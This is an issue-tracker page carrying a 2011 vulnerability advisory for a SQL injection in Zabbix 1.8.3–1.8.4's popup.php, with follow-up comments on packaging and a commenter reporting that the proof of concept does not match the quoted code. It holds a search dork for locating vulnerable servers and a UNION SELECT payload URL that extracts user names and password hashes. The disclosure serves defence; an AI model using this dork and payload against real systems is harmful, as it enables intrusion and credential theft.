Details

    • Type: Bug Bug
    • Status: Closed
    • Priority: Critical Critical
    • Resolution: Fixed
    • Affects Version/s: None
    • Fix Version/s: None
    • Component/s: None
    • Labels:
      None

      Description

      =============================================

      • Release date: November 24th, 2011
      • Discovered by: Márcio Almeida de Macêdo
      • Severity: High
        =============================================
      • Google Dork: "Zabbix 1.8.4 Copyright 2001-2010 by SIA Zabbix"
        =============================================

      I. VULNERABILITY
      -------------------------
      Zabbix <= 1.8.4 SQL Injection

      II. BACKGROUND
      -------------------------
      Zabbix is an enterprise-class open source distributed monitoring solution.
      Zabbix is software that monitors numerous parameters of a network and the
      health and integrity of servers. Properly configured, Zabbix can play an
      important role in monitoring IT infrastructure. This is equally true for
      small organisations with a few servers and for large companies with a
      multitude of servers.

      III. INTRODUCTION
      -------------------------
      Zabbix version 1.8.3 and 1.8.4 has one vulnerability in the popup.php that
      enables an attacker to perform a SQL Injection Attack. No authentication required.

      IV. VULNERABLE CODE
      -------------------------

      File popup.php line 1513:

      $sql = 'SELECT DISTINCT hostid,host '.
      ' FROM hosts'.
      ' WHERE '.DBin_node('hostid', $nodeid).
      ' AND status IN ('.HOST_STATUS_PROXY_ACTIVE.','.HOST_STATUS_PROXY_PASSIVE.')'.
      ' ORDER BY host,hostid';
      $result = DBselect($sql);

      V. PROOF OF CONCEPT
      -------------------------

      Below is a PoC request that retrieves all logins and MD5 password hashes of zabbix in MySQL Database:

      http://localhost/zabbix/popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&srcfld1=name&only_hostid=-1))%20union%20select%201,group_concat(surname,0x2f,passwd)%20from%20users%23

      VI. BUSINESS IMPACT
      -------------------------
      An attacker could exploit the vulnerability to retrieve any data from
      databases accessible by zabbix db user.
      In case zabbix has been given a more privileged mysql account the
      exploitation could go as far as code execution.

      An important remark regards the fact that the version 1.8.4 of zabbix
      web software is the current version installed by the apt-get command
      in debian linux distros.

      VII. SYSTEMS AFFECTED
      -------------------------
      Versions 1.8.3 and 1.8.4 are vulnerable.

      VIII. SOLUTION
      -------------------------
      Upgrade to version 1.8.9 that has just come out.

      IX. REFERENCES
      -------------------------
      http://www.zabbix.com

      X. CREDITS
      -------------------------
      The vulnerability has been discovered by Márcio Almeida de Macêdo
      marcioalmeida (at) alligatorteam (dot) org
      @marcioalm
      www.alligatorteam.org

      XI. ACKNOWLEDGEMENTS
      -------------------------
      To Heyder Andrade for development of Vulture.
      To the Alligator Security Team.

      XII. LEGAL NOTICES
      -------------------------
      The information contained within this advisory is supplied "as-is" with
      no warranties or guarantees of fitness of use or otherwise. I accept no
      responsibility for any damage caused by the use or misuse of this information.

        Activity

        Hide
        richlv added a comment -

        if this is fixed in latest versions, is there any need for additional action ?

        Show
        richlv added a comment - if this is fixed in latest versions, is there any need for additional action ?
        Hide
        Márcio Almeida added a comment -

        Yeah... Providing the fixed version in the reppositories of the apt-get, yum, etc...

        Show
        Márcio Almeida added a comment - Yeah... Providing the fixed version in the reppositories of the apt-get, yum, etc...
        Hide
        richlv added a comment -

        that is done by corresponding packagers, i guess such reports should be created against specific distributions

        Show
        richlv added a comment - that is done by corresponding packagers, i guess such reports should be created against specific distributions
        Hide
        Márcio Almeida added a comment -

        "i guess such reports should be created against specific distributions"

        Regarding the statement above, you mean we should report this vulnerability being more specific towards the distributions involved? Like, for example, Ubuntu 11.10, Ubuntu 11.04, Ubuntu 10.10, etc?

        Show
        Márcio Almeida added a comment - "i guess such reports should be created against specific distributions" Regarding the statement above, you mean we should report this vulnerability being more specific towards the distributions involved? Like, for example, Ubuntu 11.10, Ubuntu 11.04, Ubuntu 10.10, etc?
        Hide
        richlv added a comment - - edited

        zabbix does not control distributions - which version of zabbix they package is up to their packager/guidelines/etc discretion

        Show
        richlv added a comment - - edited zabbix does not control distributions - which version of zabbix they package is up to their packager/guidelines/etc discretion
        Hide
        crocro added a comment -

        Marcio, POC does not work. In POC you say "srctbl=applications" but source code is relate to "proxies". Can you report more info to test the issue?

        Authentication required? My zabbix server say "no permissiones".

        Show
        crocro added a comment - Marcio, POC does not work. In POC you say "srctbl=applications" but source code is relate to "proxies". Can you report more info to test the issue? Authentication required? My zabbix server say "no permissiones".
        Hide
        richlv added a comment -

        as the issue itself says the problem is already fixed, closing

        Show
        richlv added a comment - as the issue itself says the problem is already fixed, closing

          People

          • Assignee:
            Unassigned
            Reporter:
            Márcio Almeida
          • Votes:
            0 Vote for this issue
            Watchers:
            0 Start watching this issue

            Dates

            • Created:
              Updated:
              Resolved: